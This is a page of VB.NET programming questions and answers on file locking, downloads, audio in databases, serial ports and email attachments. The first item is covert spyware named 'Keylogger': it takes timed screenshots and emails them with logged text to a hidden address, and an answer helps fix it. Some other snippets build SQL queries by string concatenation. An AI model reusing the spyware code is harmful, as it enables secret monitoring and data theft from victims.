IOException was unhandled vb.net - vb.net

When I run my program, it encounter with this error
The process cannot access the file
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png'
because it is being used by another process.
This error is for
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
Can someone help me about it? Thanks in advance!
Here is my full code:
private j as integer = 1
Public Function TakeImage()
Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
Dim Img As New Bitmap(Width, Height)
Dim g As Graphics = Graphics.FromImage(Img)
g.CopyFromScreen(X, Y, 0, 0, Img.Size)
g.Dispose()
Return Img
End Function
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Dim i As Integer
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("********", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.mail.yahoo.com"
mail = New MailMessage
mail.From = New MailAddress("********")
mail.To.Add("*********")
mail.Subject = ("Parham")
mail.Body = txtlogs.Text
For i = 1 To 3
Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
mail.Attachments.Add(attach)
smtpServer.Send(mail)
If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
End If
End Using
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not Directory.Exists(Application.StartupPath & "\pic\") Then
Directory.CreateDirectory(Application.StartupPath & "\pic\")
End If
End Sub
Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
Dim picture As Image = TakeImage()
Using picture
picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
End Using
j += 1
If j > 3 Then
j = New Integer
j = 1
End If
End Sub

You should first set Option Strict ON, then fix the warnings and errors that will be shown and then edit your post to the actual code.
The cause of the exception is a timing problem between the tmrEmail Timer object and the tmrScrShot Timer object.
EDIT:
This method takes a Image object which is then saved to a memory stream which is used to create a System.Net.Mail.Attachment
Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
Dim attachment As System.Net.Mail.Attachment
Using ms As New System.IO.MemoryStream()
img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)
attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")
End Using
Return attachment
End Function

Related

Download a file from google drive

First of all, sorry for my english. Second, I want to make an app that, at every launch download a .txt file from google drive, the file is defined (I mean, it's in drive). It's just a single file, but, when I launch the app, the file is downloaded, but dosen't contain anything..
Here is my code:
Private Function ReadLine(ByVal Line As Integer, ByVal lista As List(Of String)) As String
Return lista(Line - 1)
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If My.Computer.Network.IsAvailable() = True Then
Try
My.Computer.FileSystem.DeleteFile("C:\WINDOWS\" & fisier)
Catch ex As Exception
End Try
My.Computer.Network.DownloadFile("https://doc-14-7c-docs.googleusercontent.com/docs/securesc/17t22h2a63tpkhdgv047v6i0s5a9o8bm/qgqjocmi87jt0up72gfpg9dseeo3pt84/1458396000000/07699472972018131827/07699472972018131827/0B8iVIf__yN1FUDV1STNWODJUYms?e=download&nonce=5jnki0mtgo520&user=07699472972018131827&hash=0gi5r6k7rm2uob14062tlbsk0nhpkoo1", _
"C:\WINDOWS\" & fisier)
Dim reader As New IO.StreamReader("C:\WINDOWS\" & fisier)
Dim lista As New List(Of String)
While Not reader.EndOfStream
lista.Add(reader.ReadLine)
End While
reader.Close()
If My.Computer.FileSystem.FileExists(fisier2) = False Then
lblWould.Text = ReadLine(1, lista)
Else
Dim nr As Integer
nr = Val(My.Computer.FileSystem.ReadAllText(fisier2))
nrx = nr
End If
Dim contain As String = My.Computer.FileSystem.ReadAllText("C:\WINDOWS\" & fisier)
contain = contain.Replace(lblWould.Text, "SEEN!")
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\" & fisier, contain, False)
Else
MsgBox("Trebuie sa fi connectat la internet!")
Me.Close()
End If
End Sub
Private Sub btn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnYes.Click, btnNo.Click
Dim reader As New IO.StreamReader("C:\WINDOWS\" & fisier)
Dim lista As New List(Of String)
Dim a As String
While Not reader.EndOfStream
a = reader.ReadLine()
If Not a = "SEEN!" Then
lista.Add(reader.ReadLine)
End If
End While
lblWould.Text = lista(nrx + 1)
nrx += 1
Dim contain As String = My.Computer.FileSystem.ReadAllText("C:\WINDOWS\" & fisier)
contain = contain.Replace(lblWould.Text, "SEEN!")
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\" & fisier, contain, False)
End Sub`
Thanks!

Saving Audio File on SQL Server Management Studio using VB.net 2010

Please help me with this audio file saving on SQL server management studio connection.
I have a recorder on vb.net 2010 and i want to save my audio recorded in SQL and display it on DataGridview (vb.net 2010) at the same time save it on my database which is SQL.
Please help me guys, what are the propably codes for this saving thing on database. Please do not use C# and C++ as a guide or source code. Only VB.net
Create an Access Database in your D: drive and name it SoundDB.accdb
Create a table in the DB and name it tblSounds with 3 fields sndid text(2), sndname text(20) , sndbinary OLEObject)
Create a new form in your project
Add a Textbox and 3 buttons.
Type an Id number (2 digits) in the textbox
button 1 will start recording
button2 will stop recording and save the sound to your DB
button3 will fetch from DB the sound for the ID you specify in the textbox and play it
Add these lines to the beginning of your code.
Imports System.IO
Imports System.Text
Imports System.Data.OleDb
Add this declaration to your code
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" ( _
ByVal lpstrCommand As String, _
ByVal lpstrReturnString As StringBuilder, _
ByVal uReturnLength As Integer, _
ByVal hwndCallback As IntPtr) As Integer
Paste the Sub routines below into your code
Private Sub SaveSndtoDB(ByVal SndID As String, ByVal sndName As String)
Dim Connection As New OleDb.OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;Data Source=D:\SoundDB.accdb")
Dim SndSourceStream As Stream = New FileStream("D:\FileName.wav", FileMode.Open, FileAccess.Read)
Dim BinarySndReader As New BinaryReader(SndSourceStream)
Dim bytes As Byte() = BinarySndReader.ReadBytes(SndSourceStream.Length)
Connection.Open()
'insert the file into database
Dim cmd As New OleDb.OleDbCommand("INSERT INTO tblSounds (sndid,sndname,sndbinary) VALUES ('" + SndID + "','" + sndName + "',#SndBinary)", Connection)
cmd.Parameters.AddWithValue("#SoundBinary", bytes)
Try
cmd.ExecuteNonQuery()
MsgBox("File Uploaded Successfully")
Catch ex As Exception
MsgBox("There was a problem, file upload was not successful. " + ex.Message)
End Try
SndSourceStream.Flush()
SndSourceStream.Close()
FileClose()
Reset()
Application.DoEvents()
End Sub
Private Sub PlaySndfromDB(ByVal sndID As String)
FileClose()
Reset()
Dim Connection As New OleDb.OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;Data Source=D:\SoundDB.accdb")
Dim SndSourceStream As Stream = New FileStream("D:\FileName.wav", FileMode.Create, FileAccess.Write)
Try
Connection.Open()
Dim command As New OleDbCommand("SELECT sndbinary FROM tblsounds WHERE sndID = #ID", Connection)
command.Parameters.AddWithValue("#ID", sndID)
Dim soundData As Byte() = DirectCast(command.ExecuteScalar(), Byte())
Connection.Close()
command.Dispose()
SndSourceStream.Write(soundData, 0, soundData.Length)
SndSourceStream.Flush()
SndSourceStream.Close()
My.Computer.Audio.Play("d:\FileName.wav", AudioPlayMode.Background)
Catch ex As Exception
MsgBox(ex.ToString())
End Try
End Sub
Private Sub StartRecording()
mciSendString("open new type waveaudio alias mywav", Nothing, 0, 0)
mciSendString("record mywav", Nothing, 0, 0)
End Sub
Private Sub SaveRecording()
mciSendString("stop mywav", Nothing, 0, 0)
mciSendString("save mywav d:\FileName.wav", Nothing, 0, 0)
mciSendString("close mywav", Nothing, 0, 0)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
StartRecording()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
SaveRecording()
Application.DoEvents()
SaveSndtoDB(TextBox1.Text, "Snd" + TextBox1.Text)
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
PlaySndfromDB(TextBox1.Text)
End Sub
================================================================================
Hope this helps, feel free to let me know if you need further help.
I have not tested this code with very long sound files, it works well with snippets.
'create a table in SQL with feilds name F1,F2,F3 .... and Aud as image
Dim path
path = "Data Source=SERVER\SQLEXPRESS;Initial Catalog="DatabaseName";Integrated Security=True; " ';user=Uni;password=uni"
Con.Open()
Public Sub InsertAudioDataInTable(TableName, TableMapingName, LoopStart, LoopEnd, TaxtName, Panel, AdioPath)
Dim SndSourceStream As Stream = New FileStream(AdioPath, FileMode.Open, FileAccess.Read)
Dim BinarySndReader As New BinaryReader(SndSourceStream)
Dim arrImage As Byte() = BinarySndReader.ReadBytes(SndSourceStream.Length)
Dim strImage As String
strImage = "#Aud"
Dim b = 0
Dim dataContaner(LoopEnd + 2 - LoopStart) As String
For a = LoopStart To LoopEnd
dataContaner(b) = Panel.Controls(TaxtName & a).Text.ToString
b = b + 1
Next
''''''''''''''
Dim myCmd As New SqlCommand
myCmd.Connection = Con
''''''''''
Dim T As String
' T.Text = null
Dim aaa = "INSERT INTO " & TableName
Dim bbb = ""
For i = LoopStart To LoopEnd
bbb = bbb + "F" & i & ","
Next
T = aaa & " (" + bbb & "Aud"
' T = T.Remove(T.Length - 1)
T = T & ")VALUES ("
Dim ccc = ""
b = 0
For a = LoopStart To LoopEnd
ccc = ccc & "'" & dataContaner(b) & "',"
b = b + 1
Next
T = T + ccc
myCmd.CommandText = T + strImage & ")"
myCmd.Parameters.Add(strImage, SqlDbType.Binary).Value = arrImage
myCmd.ExecuteNonQuery()
''''''''
End Sub

Read String From Serial port Visual Basic

Imports System.IO.Ports
Imports System.Text
Public Class Form4
Dim myStringBuilder As String
Dim insert As New OleDb.OleDbCommand
Dim cnn As New OleDb.OleDbConnection
Public user As String
Private Sub Serialport2_DataReceived(ByVal sender As Object, ByVal e As System.IO.Ports.SerialDataReceivedEventArgs) Handles SerialPort2.DataReceived
myStringBuilder = SerialPort2.ReadExisting()
Me.Invoke(New EventHandler(AddressOf UpdateControls))
End Sub
Private Sub UpdateControls(ByVal sender As Object, ByVal e As EventArgs)
Dim A As String = myStringBuilder
Dim Sqql As String
If Not cnn.State = ConnectionState.Open Then
cnn.Open()
End If
insert.Connection = cnn
Dim dt As New DataTable
Sqql = "SELECT * FROM `FileInfo` WHERE `File ID`='" & A & "'"
Dim cmd As New OleDb.OleDbDataAdapter(Sqql, cnn)
cmd.Fill(dt)
Dim i As Integer = dt.Rows.Count
Dim todaysdate As String = String.Format("{0:dd/MM/yyyy}", DateTime.Now)
If i = 1 Then
insert.CommandText = "INSERT INTO `File Log`(File ID,Name,Information,Time,Date) " & _
" VALUES('" & A & "','" & dt.Rows(0).Item("Name") & "','" & user & " telah" & dt.Rows(0).Item("Status") & "File" & "','" &
_
TimeOfDay & "','" & todaysdate & "')"
textBox1.Text += dt.Rows(0).Item("Name") & " " & TimeOfDay & " " & todaysdate &
Environment.NewLine
textBox1.Select(textBox1.TextLength, 0)
textBox1.ScrollToCaret()
insert.ExecuteNonQuery()
myStringBuilder = ""
Else
myStringBuilder = ""
textBox1.Text += A & Environment.NewLine
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
cnn = New OleDb.OleDbConnection
cnn.ConnectionString = "Provider=Microsoft.Jet.Oledb.4.0; Data Source=" & Application.StartupPath & "\data.mdb"
If SerialPort2 IsNot Nothing Then
SerialPort2.Close()
End If
SerialPort2 = My.Computer.Ports.OpenSerialPort("COM27", 9600, Parity.None, 8, StopBits.One)
textBox1.Text = "-- Door Have Open -- " & Environment.NewLine & Environment.NewLine
End Sub
Private Sub textBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles textBox1.TextChanged
End Sub End Class
in my serial monitor view it will appear correctly but in visual basic it will auto break line and not display the string in one line.
I Tried other method like serialport.readline() but nothing happen.
If you are having issues with extracting data from your serial port you could try this:
Sub SerialPort_DataReceived(sender As Object, e As SerialDataReceivedEventArgs)
Dim currentSP As SerialPort = Convert.ChangeType(sender, GetType(SerialPort))
Dim strBuilder As System.Text.StringBuilder = New System.Text.StringBuilder()
For index = 1 To currentSP.BytesToRead
strBuilder.Append(Convert.ChangeType(currentSP.ReadByte(), GetType(Char)))
Next
' Have a global string to allow the threads to have a shared resource
myString = strBuilder.ToString()
Me.Invoke(New EventHandler(AddressOf UpdateControls))
End Sub
It should work the same way as the SerialPort.ReadLine(), this approach also lets you manipulate the data however you want. Instead of working with a string you could always work the data like this:
Dim buffer As Byte() = New Byte(currentSP.BytesToRead) {}
buffer(index) = Convert.ChangeType(currentSP.ReadByte(), GetType(Byte))
So instead of appending the Char to the String you can add the Byte to the buffer
Dim str As String = MyCOMPort.ReadExisting()
If Me.InvokeRequired Then
Me.Invoke(New dlUpdateText(AddressOf updatetext), str)
Else
updatetext(str)
End If

Datatable:xml query for xml column

If i load xml datatype column to a datatable then can i perform xml query on it? SQL server supports queries like .exist, .value on xml columns. I am trying those kind of queries on datatable.
Below is a part of code which shows where i am getting error.
Private Sub Button15_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button15.Click
Dim timDiff As Double
Dim iter1 As Integer
TextBox1.Text &= Button15.Text & vbNewLine & " Iterations: " & TextBox2.Text & vbNewLine
timDiff = DateAndTime.Timer
Dim SqlAdapter As New SqlDataAdapter
Dim strTemp As String
Dim iRow As Integer
Dim rConn As New SqlConnection("data source=pc91\sqlexpress;user id=admin;password=abc;initial catalog=Checklists;connect timeout=2000;")
rConn.Open()
SqlAdapter = New SqlDataAdapter
sDataSet = New DataSet
sqldatatable = Nothing
SqlAdapter.SelectCommand = New SqlCommand("select * from DesignChanges", rConn)
SqlAdapter.Fill(sDataSet, "tmpTable")
sqldatatable = sDataSet.Tables("tmpTable")
For iter1 = 1 To Val(TextBox2.Text)
Try
For iRow = 0 To sqldatatable.Rows.Count - 1
strTemp = sqldatatable.Rows(iRow).Item("AllotedTo").ToString
Next iRow
Catch ex As Exception
MsgBox(ex.ToString & Space(10) & Err.Description)
End Try
Next
rConn.Close()
SqlAdapter.Dispose()
rConn.Dispose()
sDataSet = Nothing
SqlAdapter = Nothing
rConn = Nothing
timDiff = DateAndTime.Timer - timDiff
TextBox1.Text &= " Total Time Taken: " & timDiff & vbNewLine
End Sub
Private Sub Button17_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button17.Click
bs.DataSource = sqldatatable
DataGridView1.DataSource = bs
End Sub
Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
bs.Filter = "[UserApproval].exist ('/Root/Row[User=''xyz'']') =1"
End Sub
End Class
In the above code error comes like "The expression contains undefined function call UserApproval.exist()." for the line bs.Filter = "[UserApproval].exist ('/Root/Row[User=''xyz'']') =1" .
If i use .value function then error will come as "The expression contains undefined function call UserApproval.value()."
But the same functions works in SQL query for sql server.
Yes, you can. Did you read this? What kind of queries do not work well?

How to attach a file to temporary location before sending a email with attachment?

I'm having a bit of trouble attaching a chosen file to my VB.net form before pressing my submit button which then sends a email with the attachment.
At the moment, my form can can open a dialog box to browse for file but I receive errors after choosing a file from a location on my machine.
Can anybody help please? Thanks.
This is the code I've used for the attachment button:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim openDLG As New OpenFileDialog
'openDLG.AddExtension = True
openDLG.ReadOnlyChecked = True
openDLG.Multiselect = True
openDLG.Title = "Select the file(s) you want added to the message..."
openDLG.Filter = "All Files (*.*)|*.*"
If openDLG.ShowDialog = Windows.Forms.DialogResult.OK Then
For Each item As String In openDLG.FileNames
'Create a new System.NET.Mail.Attachment class instance for each file.
attachToMsg = New System.Net.Mail.Attachment(item)
'Then add the attachment to your message. You have to do this everytime you run the code
'above.
EmailMessage.Attachments.Add(attachToMsg)
Next
MsgBox("I have finished adding all of the selected files! You can do more if you want!")
End If
End Sub
Button3 code:
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Using message As New MailMessage()
'set to the from, to and subject fields
message.From = (New MailAddress(TextBox3.Text.ToString()))
message.[To].Add(New MailAddress("NO.ONE#elsewhere.com"))
message.Subject = "New commission query"
'code the message body
Dim MsgBody As String
MsgBody = TextBox1.Text.ToString() & vbCr & _
TextBox2.Text.ToString() & vbCr & _
TextBox3.Text.ToString() & vbCr & _
ComboBox1.Text.ToString() & vbCr & _
ComboBox2.Text.ToString() & vbCr & _
ComboBox3.Text.ToString() & vbCr & _
ComboBox4.Text.ToString() & vbCr
message.Body = MsgBody
Dim client As New SmtpClient()
client.Host = "mailhost"
client.Send(message)
End Using
'display submitted box
MessageBox.Show("Your request has been submitted!", "Congratulations!")
'close form
Me.Close()
End Sub
Your "message" object in Button3_Click code and the "EmailMessage" in Button1_Click code ought to be the same "message" object.
As Steve mentions above...
Where do you have defined and initialized EmailMessage variable? Use the debugger and check if that variable is Nothing when you try to add an attachement – Steve 5 hours ago
Its all a case of WHERE you have DEFINED the EmailMessage object?
Maybe you should declare your EmailMessage object at FORM Level scope and then modify your Button3 code to access THAT SAME EmailMessage Instead of in the Attachment Procedure (Button1_Click code) and also you would need to "Instantiate" your EmailMessage message object before you attempt to modify its properties.
So you would have something along the lines of....
'Declarations section (form scope)
Dim TheEmailMessage As New MailMessage()
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim openDLG As New OpenFileDialog
'openDLG.AddExtension = True
openDLG.ReadOnlyChecked = True
openDLG.Multiselect = True
openDLG.Title = "Select the file(s) you want added to the message..."
openDLG.Filter = "All Files (*.*)|*.*"
If openDLG.ShowDialog = Windows.Forms.DialogResult.OK Then
For Each item As String In openDLG.FileNames
'Create a new System.NET.Mail.Attachment class instance for each file.
attachToMsg = New System.Net.Mail.Attachment(item)
'Then add the attachment to your message.
'You have to do this everytime you run the code above
TheEmailMessage.Attachments.Add(attachToMsg)
Next
MsgBox("I have finished adding all of the selected files! You can do more if you want!")
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Using TheEmailMessage
'set to the from, to and subject fields
TheEmailMessage.From = (New MailAddress(TextBox3.Text.ToString()))
TheEmailMessage.[To].Add(New MailAddress("NO.ONE#elsewhere.com"))
TheEmailMessage.Subject = "New commission query"
'code the message body
Dim MsgBody As String
MsgBody = TextBox1.Text.ToString() & vbCr & _
TextBox2.Text.ToString() & vbCr & _
TextBox3.Text.ToString() & vbCr & _
ComboBox1.Text.ToString() & vbCr & _
ComboBox2.Text.ToString() & vbCr & _
ComboBox3.Text.ToString() & vbCr & _
ComboBox4.Text.ToString() & vbCr
TheEmailMessage.Body = MsgBody
Dim client As New SmtpClient()
client.Host = "mailhost"
client.Send(message)
End Using
'display submitted box
MessageBox.Show("Your request has been submitted!", "Congratulations!")
'close form
Me.Close()
End Sub
Put it in a temporary file (folder). Here is an example to extract the file from resource, put in a temporary file and open it. Returns the temporary folder used.
Public Overloads Function EXTRACT_FILE_FROM_RESOURCE(ByVal sFile As String, Optional ByVal andStart As Boolean = True) As String
Dim assembly As System.Reflection.Assembly = System.Reflection.Assembly.GetExecutingAssembly()
Dim root As String = assembly.GetName().Name
Dim stream As System.IO.Stream = assembly.GetManifestResourceStream(root & "." & sFile)
Dim buffer(Convert.ToInt32(stream.Length) - 1) As Byte
stream.Read(buffer, 0, buffer.Length)
stream.Close()
Dim sFolderUsed As String = GetTempDirectory()
Dim sFilePath As String
sFilePath = IO.Path.Combine(sFolderUsed , sFile )
Using f As New IO.FileStream(sFilePath , IO.FileMode.Create, IO.FileAccess.Write)
f.Write(buffer, 0, buffer.Length)
f.Close()
File.SetAttributes(sFilePath , File.GetAttributes(sFilePath ) And Not FileAttributes.ReadOnly)
End Using
If andStart Then
StartProcess(sFilePath )
End If
Return sFolderUsed
End Function
Public Function GetTempDirectory() As String
Dim pathx As String
Do
pathx = IO.Path.Combine(IO.Path.GetTempPath(), IO.Path.GetRandomFileName())
Loop Until Not Directory.Exists(pathx)
Directory.CreateDirectory(pathx)
Return pathx
End Function